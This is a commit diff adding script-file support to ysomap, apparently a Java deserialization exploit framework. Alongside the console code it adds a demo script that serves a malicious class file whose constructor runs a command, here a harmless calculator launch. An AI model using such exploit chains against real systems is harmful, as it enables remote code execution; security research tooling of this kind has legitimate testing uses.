add script support

cli/src/main/java/ysomap/cli/Console.java

@@ -17,10 +17,13 @@
 import ysomap.common.exception.ArgumentsMissMatchException;
 import ysomap.common.exception.BaseException;
 import ysomap.common.exception.YsoClassNotFoundException;
+import ysomap.common.exception.YsoFileNotFoundException;
 import ysomap.common.util.Logger;
 
+import java.io.File;
 import java.io.IOException;
 import java.lang.annotation.Annotation;
+import java.nio.file.Files;
 import java.util.*;
 
 import static org.jline.builtins.Completers.TreeCompleter.node;
@@ -116,6 +119,9 @@ public void dispatch(List<String> words) throws Exception {
             case "kill":
                 kill();
                 break;
+            case "script":
+                script();
+                break;
             case "run":
                 curSession.run();
                 break;
@@ -219,7 +225,7 @@ public Completer makeCompleters(){
         );
 
         Completer commonCompleter = new Completers.TreeCompleter(
-                node("help","exit","run","sessions","kill","stop"));
+                node("help","exit","run","sessions","kill","stop","script"));
         return new AggregateCompleter(useCompleter, listCompleter, showCompleter, setCompleter, sessionCompleter,commonCompleter);
     }
 
@@ -354,6 +360,29 @@ public void kill() throws ArgumentsMissMatchException {
         }
     }
 
+    public void script() throws Exception {
+        if(args.size() == 1){
+            String filepath = args.get(0);
+            File file = new File(filepath);
+            if(!file.exists()){
+                throw new YsoFileNotFoundException(filepath);
+            }
+            Logger.success("Start to parse script file{"+filepath+"}");
+            List<String> contents = Files.readAllLines(file.toPath());
+            Parser parser = new DefaultParser();
+            ParsedLine parsedLine = null;
+            List<String> words;
+            for(String line:contents){
+                parsedLine = parser.parse(line, line.length()+1, Parser.ParseContext.ACCEPT_LINE);
+                words = parsedLine.words();
+                dispatch(words);
+            }
+            Logger.success("Script loaded!");
+        }else{
+            throw new ArgumentsMissMatchException("script /path/to/script");
+        }
+    }
+
     public void help(){
         String usage = "help                print this message\n" +
                 "list <type>         list exploits, bullets and payloads\n" +

common/src/main/java/ysomap/common/exception/YsoFileNotFoundException.java

@@ -0,0 +1,12 @@
+package ysomap.common.exception;
+
+/**
+ * @author wh1t3P1g
+ * @since 2021/6/16
+ */
+public class YsoFileNotFoundException extends BaseException{
+
+    public YsoFileNotFoundException(String message) {
+        super("[-] script file not found. Filepath: "+message);
+    }
+}

scripts/demo.yso

@@ -0,0 +1,9 @@
+use exploit SimpleHTTPServer
+use payload EvilFileWrapper
+use bullet ClassWithEvilConstructor
+set lport 8081
+set path /EvilObj.class
+set classname EvilObj
+set body "open -a Calculator"
+set type class
+run